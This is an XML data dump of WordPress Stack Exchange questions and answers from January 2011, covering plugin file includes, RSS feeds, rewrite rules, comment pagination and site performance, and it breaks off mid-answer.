  <row Id="7405" PostTypeId="2" ParentId="7398" CreationDate="2011-01-21T04:00:37.783" Score="-1" ViewCount="" Body="&lt;p&gt;First , thank you to everyone who answered,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem was calling the included files with full url that way they don't go through WordPress. and that happened because as i stated on the question i was calling them from the main plugin file. so the fix ended up using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include_once('/ipn/paypal-ipn.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i read about at the &lt;a href=&quot;http://wordpress.org/support/topic/call-to-undefined-function-add_action-2?replies=3&quot; rel=&quot;nofollow&quot;&gt;WordPress support&lt;/a&gt;.&#xA;and again thanks for answering! &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-21T04:00:37.783" CommentCount="1" />
  <row Id="7406" PostTypeId="1" AcceptedAnswerId="7407" CreationDate="2011-01-21T07:32:32.810" Score="0" ViewCount="115" Body="&lt;p&gt;I have a piece of code, which is used to display images on every post from RSS FEEDS, the images will be fetched from yahoo images search,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will paste this code into my single.php file, so that it will appear after my post,&#xA;This code I found in one of the website where, this was used for the same reason to fetch images but not from yahoo but from different feeds&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code which I am using is this:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA;    include_once(ABSPATH.WPINC.'/rss.php'); // path to include script&#xA;    $feed = fetch_rss('http://news.search.yahoo.com/news/rss?p=car'); // specify feed url&#xA;    $items = array_slice($feed-&amp;gt;items, 0, 5); // specify first and last item&#xA;    ?&amp;gt;&#xA;    &amp;lt;?php if (!empty($items)) : ?&amp;gt;&#xA;    &amp;lt;?php foreach ($items as $item) : ?&amp;gt;&#xA;    &amp;lt;h4&amp;gt;&amp;lt;img id=&quot;niraj&quot; src=&quot; &amp;lt;?php&#xA;    $pubdate = substr($item['pubdate'], 0, 16);&#xA;    $a='http://mbas.in/wp-content/uploads/';&#xA;    $a.=substr($pubdate,12,4);&#xA;    $a.='/';&#xA;    $m=substr($pubdate,8,3);&#xA;    if($m == 'Jan'){$a.='01';}&#xA;    elseif($m == 'Feb'){$a.='02';}&#xA;    elseif($m == 'Mar'){$a.='03';}&#xA;    elseif($m == 'Apr'){$a.='04';}&#xA;    elseif($m == 'May'){$a.='05';}&#xA;    elseif($m == 'Jun'){$a.='06';}&#xA;    elseif($m == 'Jul'){$a.='07';}&#xA;    elseif($m == 'Aug'){$a.='08';}&#xA;    elseif($m == 'Sep'){$a.='09';}&#xA;    elseif($m == 'Oct'){$a.='10';}&#xA;    elseif($m == 'Nov'){$a.='11';}&#xA;    else{$a.='12';}&#xA;    $a.='/';&#xA;    echo $a;&#xA;    $str= $item['link'];&#xA;    $len=strlen($str);&#xA;    $test=substr($str,27,($len-1));&#xA;    echo $test;&#xA;    ?&amp;gt;.jpg&quot; width=&quot;90&quot; height=&quot;60&quot; alt=&amp;lt;?php echo $item['title']; ?&amp;gt; style=&quot;border: none;align:left;&quot;/&amp;gt;&amp;lt;div style=&quot;clear:both&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $item['link']; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $item['title']; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried this code, but the problem is the images are not coming.&#xA;If this is not a correct way to fetch images from yahoo search, then is there any appropriate way to do it?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2011-01-21T13:58:44.183" LastActivityDate="2011-01-21T13:58:44.183" Title="images are broken" Tags="&lt;rss&gt;&lt;feed&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="7407" PostTypeId="2" ParentId="7406" CreationDate="2011-01-21T07:57:16.133" Score="0" ViewCount="" Body="&lt;p&gt;First &lt;code&gt;fetch_rss()&lt;/code&gt; is long deprecated, use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/fetch_feed&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;fetch_feed()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for images I don't know if that is what you want but you build URL to your own computer by using &lt;code&gt;localhost&lt;/code&gt; and there is no way to know what it going on there or what is expected from those links.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-21T07:57:16.133" CommentCount="3" />
  <row Id="7408" PostTypeId="1" AcceptedAnswerId="7410" CreationDate="2011-01-21T08:28:24.800" Score="0" ViewCount="205" Body="&lt;p&gt;I am trying to create a custom search page for a site I developed, but I lack the information needed to create the custom sql queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any useful resources you guys might know of?&lt;/p&gt;&#xA;" OwnerUserId="2632" LastActivityDate="2011-05-04T07:17:09.500" Title="Database structure cheatsheet" Tags="&lt;database&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7409" PostTypeId="2" ParentId="6754" CreationDate="2011-01-21T08:37:20.127" Score="0" ViewCount="" Body="&lt;p&gt;As @Ambitious Amoeba indicated above, what I was looking for was hardcoded in the footer template.&lt;/p&gt;&#xA;" OwnerUserId="2400" LastActivityDate="2011-01-21T08:37:20.127" />
  <row Id="7410" PostTypeId="2" ParentId="7408" CreationDate="2011-01-21T09:11:51.687" Score="1" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Database_Description&quot; rel=&quot;nofollow&quot;&gt;Database Description&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-21T09:11:51.687" CommentCount="1" />
  <row Id="7413" PostTypeId="1" AcceptedAnswerId="7414" CreationDate="2011-01-21T10:05:00.530" Score="0" ViewCount="146" Body="&lt;p&gt;Im trying to display latest comments from all the post on a page named comments, now im able to use &lt;code&gt;&amp;lt;?php wp_list_comments('per_page=25', get_comments()) ?&amp;gt;&lt;/code&gt; and it gets all the comments but when I try to use &lt;code&gt;&amp;lt;?php get_paginate_comments_links() ?&amp;gt;&lt;/code&gt; nothing shows even the next and previous buttons dont show, what am i doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my current code, any help is appreciated&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_list_comments('per_page=5', get_comments()) ?&amp;gt; &#xA;&#xA;&#xA;              &amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;              &amp;lt;?php get_paginate_comments_links(array() ?&amp;gt;&#xA;&amp;lt;?php previous_comments_link() ?&amp;gt;&#xA;&amp;lt;?php next_comments_link() ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-01-21T10:33:34.563" Title="Display latest comments on page with pagination" Tags="&lt;page&gt;&lt;get-comments&gt;" AnswerCount="1" />
  <row Id="7414" PostTypeId="2" ParentId="7413" CreationDate="2011-01-21T10:33:34.563" Score="1" ViewCount="" Body="&lt;p&gt;I cannot find that function in source and also not sure about your code nesting there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/paginate_comments_links&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;paginate_comments_links()&lt;/code&gt;&lt;/a&gt; function. Usage is around this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( get_option( 'page_comments' ) )&#xA;    paginate_comments_links();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-21T10:33:34.563" CommentCount="3" />
  <row Id="7415" PostTypeId="2" ParentId="7398" CreationDate="2011-01-21T10:40:55.513" Score="3" ViewCount="" Body="&lt;p&gt;I looked through a couple of plugins that I previously created to see the diferent ways that I have included extra files inside of plugins and I noticed there are two methods you can use, there are probably more.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Define your plugin directory&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Inside of your plugin have the following definition to define the current plugin location.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example code:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'PLUGIN_DIR', dirname(__FILE__).'/' );  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Just a straight up include or require&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can simply use; include, include_once, require or require_once inside of your plugin folder by referencing the location like in the below example code. The below example will be based on a file in your root plugin directory including another file from within a folder inside of your plugin folder.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example code:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include &quot;classes/plugin-core.php&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-21T10:40:55.513" />
  <row Id="7416" PostTypeId="2" ParentId="7243" CreationDate="2011-01-21T10:47:07.540" Score="1" ViewCount="" Body="&lt;p&gt;The pattern WordPress uses to recognize pages is &lt;code&gt;(.+?)&lt;/code&gt;, which will match anything, but is not &lt;em&gt;greedy&lt;/em&gt;, so it allows you to put something at the end. The following code works for me in WordPress 3.0.1: it places the extra pattern at the second-to-last place of the list, because the final pattern is so generic it will match every URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'page_rewrite_rules', 'wpse7243_page_rewrite_rules' );&#xA;function wpse7243_page_rewrite_rules( $rewrite_rules )&#xA;{&#xA;    // The most generic page rewrite rule is at end of the array&#xA;    // We place our rule one before that&#xA;    end( $rewrite_rules );&#xA;    $last_pattern = key( $rewrite_rules );&#xA;    $last_replacement = array_pop( $rewrite_rules );&#xA;    $rewrite_rules +=  array(&#xA;        '(.+?)/([0-9]+)/([^/]+)/([^/]+)/?$' =&amp;gt; 'index.php?pagename=$matches[1]&amp;amp;id=$matches[2]&amp;amp;fname=$matches[3]&amp;amp;lname=$matches[4]',&#xA;        $last_pattern =&amp;gt; $last_replacement,&#xA;    );&#xA;    return $rewrite_rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be aware that pages, like any post, can also be split into multiple &lt;em&gt;pages&lt;/em&gt; with the &lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&lt;/code&gt; snippet, and the normal URL for that is &lt;code&gt;/pagename/2/&lt;/code&gt;, which might be confusing when you also have &lt;code&gt;/pagename/3/jan/fabry/&lt;/code&gt; where the &lt;code&gt;3&lt;/code&gt; is an ID. You can change the pattern to include an optional page number at the end, so this can become &lt;code&gt;/pagename/3/jan/fabry/2/&lt;/code&gt; where the final &lt;code&gt;2&lt;/code&gt; is the page number, and the first &lt;code&gt;3&lt;/code&gt; is the ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are changing the rewrite rules I recommend &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;my rewrite analyzer plugin&lt;/a&gt; (soon in the repository, &lt;a href=&quot;http://dl.dropbox.com/u/7057637/monkeyman-rewrite-analyzer.zip&quot; rel=&quot;nofollow&quot;&gt;but get the current version via Dropbox&lt;/a&gt;), it helps you debug these things.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-21T10:47:07.540" />
  <row Id="7417" PostTypeId="2" ParentId="7350" CreationDate="2011-01-21T10:50:55.677" Score="0" ViewCount="" Body="&lt;p&gt;If you want the easiest and less troublesome way of having multiple sites on one hosting account simply set up separate Wordpress installs using the one database, just change the table prefixes so you don't override a pre-existing Wordpress installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress multisites DO work, but they can be an absolute pain to get working right with multiple domains. Of course after you have installed your separate installations of Wordpress, you'll then need to map each domain to its respective separate copy of Wordpress.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-21T10:50:55.677" />
  <row Id="7418" PostTypeId="2" ParentId="7340" CreationDate="2011-01-21T11:11:08.230" Score="1" ViewCount="" Body="&lt;p&gt;I would only increase the version number if users needed to download the plugin again. The &quot;Tested up to&quot; variable is not used when the plugin is installed, only when people want to install it or want to upgrade. In that case, the information comes from the server anyway, so you don't need to force a new download of your plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if your &lt;code&gt;readme.txt&lt;/code&gt; in the &lt;code&gt;trunk&lt;/code&gt; directory has &lt;code&gt;Stable tag&lt;/code&gt; indicator, you should update the &lt;code&gt;readme.txt&lt;/code&gt; in the correct &lt;code&gt;tags&lt;/code&gt; subdirectory, otherwise it will get ignored. There is no problem updating a file in the &lt;code&gt;tags&lt;/code&gt; directory and not creating a new version, for Subversion it's a normal directory just like all others, it's only a convention to use it for tagged historical releases.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-21T11:11:08.230" />
  <row Id="7419" PostTypeId="2" ParentId="7352" CreationDate="2011-01-21T11:32:54.053" Score="2" ViewCount="" Body="&lt;p&gt;You can force this with a hook that activates when the profile is updated. The next step would be to hide the &lt;code&gt;display_name&lt;/code&gt; select box, you can do that with some Javascript.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'user_profile_update_errors', 'wpse7352_set_user_display_name_to_nickname', 10, 3 );&#xA;function wpse7352_set_user_display_name_to_nickname( &amp;amp;$errors, $update, &amp;amp;$user )&#xA;{&#xA;    if ( ! empty( $user-&amp;gt;nickname ) ) {&#xA;        $user-&amp;gt;display_name = $user-&amp;gt;nickname;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-21T11:32:54.053" />
  <row Id="7420" PostTypeId="1" AcceptedAnswerId="7421" CreationDate="2011-01-21T11:59:35.873" Score="1" ViewCount="142" Body="&lt;p&gt;Is it possible to move a post to an another category if post_meta field is 0 ?&lt;br&gt;&#xA;I'm building a reverse order vote, every post have by default 10 votes and after a user vote, removes one vote by updating the post_meta, now i try to move the post to an another category if the votes field is 0 or 2 days old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found a solution &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3510/how-to-create-pages-that-do-change-or-expire-after-a-specified-amount-of-time&quot;&gt;here&lt;/a&gt; that moves a post to an another category if is a past date from this in the database.&lt;br&gt;&#xA;It runs every hour to do the check&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!wp_next_scheduled('sfn_expire_hook')){&#xA;    wp_schedule_event( time(), 'hourly', 'sfn_expire_hook');&#xA;}&#xA;&#xA;add_action( 'sfn_expire_hook', 'sfn_show_expire');&#xA;function sfn_show_expire(){&#xA;    global $wpdb;&#xA;    $server_time = date('mdy');&#xA;    $result = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM $wpdb-&amp;gt;posts WHERE post_type = 'post' AND post_status = 'publish'&quot;);&#xA;    if( !empty($result)) foreach ($result as $a){&#xA;        $show_time = get_the_time('mdy', $a-&amp;gt;ID);&#xA;        if ( $server_time &amp;gt; $show_time ){&#xA;           $my_post = array();&#xA;           $my_post['ID'] = $a-&amp;gt;ID;&#xA;           $my_post['post_status'] = 'draft';&#xA;           wp_update_post( $my_post );&#xA;        }&#xA;    } // end foreach&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can someone help me to extend this to check for 2 days old posts and if post_meta &quot;votes&quot; is &quot;0&quot; also?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks a lot,&lt;br&gt;&#xA;Philip&lt;/p&gt;&#xA;" OwnerUserId="2048" LastEditorUserId="2048" LastEditorDisplayName="" LastEditDate="2011-01-23T08:13:37.007" LastActivityDate="2011-01-23T08:13:37.007" Title="Move Post to different category if post_meta field is 0 or is 2 days old?" Tags="&lt;functions&gt;&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="7421" PostTypeId="2" ParentId="7420" CreationDate="2011-01-21T12:17:20.190" Score="1" ViewCount="" Body="&lt;p&gt;When you remove vote check for your condition, then if needed: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;fetch categories with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_object_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_object_terms()&lt;/code&gt;&lt;/a&gt; (low level func, you can specify to fetch names or ids only since you don't need full objects for this)&lt;/li&gt;&#xA;&lt;li&gt;modify array (remove category you don't need, add the one you do)&lt;/li&gt;&#xA;&lt;li&gt;set categories with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_set_post_categories&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_set_post_categories()&lt;/code&gt;&lt;/a&gt; (it will overwrite all categories so those you remove from array will be gone)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-21T12:17:20.190" CommentCount="1" />
  <row Id="7422" PostTypeId="1" AcceptedAnswerId="7423" CreationDate="2011-01-21T12:18:03.683" Score="1" ViewCount="69" Body="&lt;p&gt;I want create 5 pages when user active my theme. I found a code from &lt;a href=&quot;http://wpcanyon.com/tipsandtricks/automatically-create-a-page-on-theme-activation/&quot; rel=&quot;nofollow&quot;&gt;wpcanyon&lt;/a&gt; which can create one page only. From this code how do I create 5 pages without repeat it 5 times.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_GET['activated']) &amp;amp;&amp;amp; is_admin()){&#xA;&#xA;    $new_page_title = 'This is the page title';&#xA;    $new_page_content = 'This is the page content';&#xA;    $new_page_template = ''; //ex. template-custom.php. Leave blank if you don't want a custom page template.&#xA;&#xA;    //don't change the code bellow, unless you know what you're doing&#xA;&#xA;    $page_check = get_page_by_title($new_page_title);&#xA;    $new_page = array(&#xA;        'post_type' =&amp;gt; 'page',&#xA;        'post_title' =&amp;gt; $new_page_title,&#xA;        'post_content' =&amp;gt; $new_page_content,&#xA;        'post_status' =&amp;gt; 'publish',&#xA;        'post_author' =&amp;gt; 1,&#xA;    );&#xA;    if(!isset($page_check-&amp;gt;ID)){&#xA;        $new_page_id = wp_insert_post($new_page);&#xA;        if(!empty($new_page_template)){&#xA;            update_post_meta($new_page_id, '_wp_page_template', $new_page_template);&#xA;        }&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know.&lt;/p&gt;&#xA;" OwnerUserId="2163" LastActivityDate="2011-06-07T14:17:14.167" Title="How do I create multiple page while active a theme" Tags="&lt;page&gt;&lt;page-template&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7423" PostTypeId="2" ParentId="7422" CreationDate="2011-01-21T12:26:54.500" Score="3" ViewCount="" Body="&lt;p&gt;Ehm, just repeat the page creation code several times, providing different content and such. Is there any issue with that?..&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-21T12:26:54.500" CommentCount="3" />
  <row Id="7424" PostTypeId="2" ParentId="7379" CreationDate="2011-01-21T12:36:58.917" Score="2" ViewCount="" Body="&lt;p&gt;You don't have to touch the Apache configuration for this, you can do this all from the WordPress rewrite system. But indeed, your general idea is correct: you should append &lt;code&gt;?cat=3&lt;/code&gt; (or &lt;code&gt;category_name=blog&lt;/code&gt; if you want to be even clearer). Remember that your blog archive can have multiple pages, maybe you want to handle this too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I would do this from inside WordPress:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse7379_init' );&#xA;function wpse7379_init()&#xA;{&#xA;    add_rewrite_rule(&#xA;        'blog(/page/([0-9]+))?/?$',&#xA;        'index.php?category_name=blog&amp;amp;paged=$matches[2]',&#xA;        'top'&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-21T12:36:58.917" />
  <row Id="7425" PostTypeId="1" CreationDate="2011-01-21T13:06:33.793" Score="1" ViewCount="51" Body="&lt;p&gt;With &lt;a href=&quot;http://blog.serverfault.com&quot; rel=&quot;nofollow&quot;&gt;http://blog.serverfault.com&lt;/a&gt; there are a couple of feed URLs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.serverfault.com/feed&quot; rel=&quot;nofollow&quot;&gt;http://blog.serverfault.com/feed&lt;/a&gt; gives a normal feed with the full content of the post.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.serverfault.com/rss&quot; rel=&quot;nofollow&quot;&gt;http://blog.serverfault.com/rss&lt;/a&gt; gives only a summary and every post is listed twice&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What is the proper way to control these feeds? I want to eliminate the the double posting summary feed and redirect it to the /feed feed. Should I just do this with mod_rewrite or is there a way to mange these in wordpress?&lt;/p&gt;&#xA;" OwnerUserId="1840" LastActivityDate="2011-01-21T13:32:56.507" Title="Various Wordpress Feeds for Same Blog" Tags="&lt;rss&gt;&lt;feed&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7426" PostTypeId="5" CreationDate="2011-01-21T13:09:42.947" Score="0" ViewCount="0" Body="" OwnerUserId="-1" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-21T13:09:42.947" LastActivityDate="2011-01-21T13:09:42.947" />
  <row Id="7427" PostTypeId="4" CreationDate="2011-01-21T13:09:42.947" Score="0" ViewCount="0" Body="The most common name of the per-directory settings file for the Apache server. WordPress stores the mod_rewrite configuration for &quot;Pretty Permalinks&quot; here. [url-rewriting] should be used for the WordPress rewrite system in general, [mod-rewrite] when you talk specifically about the Apache module." OwnerUserId="-1" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-21T14:39:10.170" LastActivityDate="2011-01-21T14:39:10.170" />
  <row Id="7428" PostTypeId="2" ParentId="7425" CreationDate="2011-01-21T13:27:45.797" Score="2" ViewCount="" Body="&lt;p&gt;Main distinction between these feeds is not their content, but their type - RSS 2.0 and RSS 0.92 respectively (plus RDF and Atom feeds by the way).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to dump all RSS 0.92 feeds to site's main feed it can be handled like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action( 'do_feed_rss', 'do_feed_rss' );&#xA;add_action( 'do_feed_rss', 'redirect_to_rss2', 10, 0 );&#xA;&#xA;function redirect_to_rss2(  ) {&#xA;&#xA;    wp_redirect( site_url('feed'), 301 );&#xA;    die;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure how to best handle if you want to redirect individually (for example RSS 0.92 feed of specific archive page to respective RSS 2.0 feed).&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-21T13:32:56.507" LastActivityDate="2011-01-21T13:32:56.507" />
  <row Id="7429" PostTypeId="5" CreationDate="2011-01-21T13:35:22.247" Score="0" ViewCount="0" Body="" OwnerUserId="-1" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-21T13:35:22.247" LastActivityDate="2011-01-21T13:35:22.247" />
  <row Id="7430" PostTypeId="4" CreationDate="2011-01-21T13:35:22.247" Score="0" ViewCount="0" Body="A permanent link to an item (a blog post, an attachment, ...). The default  structure is &quot;?p=123&quot;, but WordPress can handle &quot;pretty permalinks&quot; and will rewrite them internally to the former version. If you have a question about special rewrite structures you should use the [url-rewriting] tag." OwnerUserId="-1" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-21T14:36:07.223" LastActivityDate="2011-01-21T14:36:07.223" />
  <row Id="7431" PostTypeId="2" ParentId="7349" CreationDate="2011-01-21T14:39:20.287" Score="0" ViewCount="" Body="&lt;p&gt;I tried to show the list and it does work if you use &lt;code&gt;post_tag&lt;/code&gt; or &lt;code&gt;category&lt;/code&gt;, but it gives me the list of the default post type tags or categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have the list of the custom taxonomies for my custom posts.&#xA;My custom post type is &quot;au-gallery&quot; and my custom taxonomy is &quot;gallery&quot; therefore I tried&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$args = array(&#xA;    'type'                     =&amp;gt; 'au-gallery',&#xA;    'orderby'                  =&amp;gt; 'name',&#xA;    'order'                    =&amp;gt; 'ASC',&#xA;    'hide_empty'               =&amp;gt; 0,&#xA;    'taxonomy'                 =&amp;gt; 'gallery'&#xA;    );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I got only an empty list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a look at &lt;code&gt;get_the_term_list&lt;/code&gt; and &lt;code&gt;get_the_terms&lt;/code&gt; but those functions requires the post ID so...do I need to run a loop for al my custom posts to get this list or is there a better way??&lt;/p&gt;&#xA;" OwnerUserId="2618" LastActivityDate="2011-01-21T14:39:20.287" CommentCount="9" />
  <row Id="7432" PostTypeId="2" ParentId="6787" CreationDate="2011-01-21T14:47:11.807" Score="0" ViewCount="" Body="&lt;p&gt;It's a $15 premium plugin from Code Canyon, but I believe it does exactly what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codecanyon.net/item/wordpress-file-centre/112012&quot; rel=&quot;nofollow&quot;&gt;http://codecanyon.net/item/wordpress-file-centre/112012&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2418" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-02-21T01:21:50.613" LastActivityDate="2011-02-21T01:21:50.613" />
  <row Id="7433" PostTypeId="1" CreationDate="2011-01-21T15:14:03.683" Score="2" ViewCount="243" Body="&lt;p&gt;I’m preparing a site with many users (100.000+). Since the output depends on the current user’s relation to some custom post types and taxonomies a static cache won’t help much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides using a separate table for the users and serving static files from a cookieless domain – what else can I do for performance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: Should I use InnoDB or MyISAM? Hints on indexes?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Obviously, I wasn’t clear enough. Sorry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All users are logged in. Always. No one else can see more than the start page. The site offers paid material for online courses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m looking for tips related to to a large user base only. Basic general performance optimizations like compression, lazy loading of scripts, sprites etc. are useful, but that’s not what I'm out for.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-01-21T18:01:13.167" LastActivityDate="2011-02-04T08:20:14.870" Title="Performance tips for a large user base" Tags="&lt;database&gt;&lt;users&gt;&lt;performance&gt;&lt;scale&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="2" />
  <row Id="7434" PostTypeId="1" CreationDate="2011-01-21T15:18:58.347" Score="2" ViewCount="245" Body="&lt;p&gt;I've created a CPT for a site I'm working on at the moment called &quot;campaigns&quot;.  I've created a page which displays some content as well a custom loop which displays the most recent Campaign.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everywhere else on the site I've used Disqus for commenting and I'd like to use Disqus here - but it doesn't seem to display.  I've tried modifying the comments code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $withcomments = &quot;1&quot;; comments_template(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I get the regular comments form, rather than Disqus.  Anyone any ideas how to work around that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8-2-11 - I've found a temporary workaround - which is to overwrite the comments.php file in the theme with the comments file from the plugin - but that means keeping the two in sync, so it would be great if I could find a better solution. &lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2641" LastEditorDisplayName="" LastEditDate="2011-02-08T16:25:58.397" LastActivityDate="2011-04-28T21:42:40.080" Title="Custom Post Type loops and Disqus" Tags="&lt;custom-post-types&gt;&lt;comments&gt;&lt;disqus&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="7435" PostTypeId="2" ParentId="7433" CreationDate="2011-01-21T15:31:22.580" Score="4" ViewCount="" Body="&lt;p&gt;You can use W3 Total Cache which isn't a static file cache system. It however uses stuff such as opcode caching, memcached,object caching to increase the page load. APC or another opcache would be a good addition to your server as well as using a lightweight httpd instead of bloated Apache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forcing GZIP on users is also considered a good idea as most people who don't receive GZIP files are actually able to receive GZIP files. The request headers can get managed by firewalls, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However 80% of page load is generally front end so that's somewhere you'll want to work on. W3 Total Cache does concatenation of CSS and JavaScript as well as minification of the files. It is the best option if you've properly got you're JavaScript and CSS files to show up only on pages where they are needed. However most sites don't so 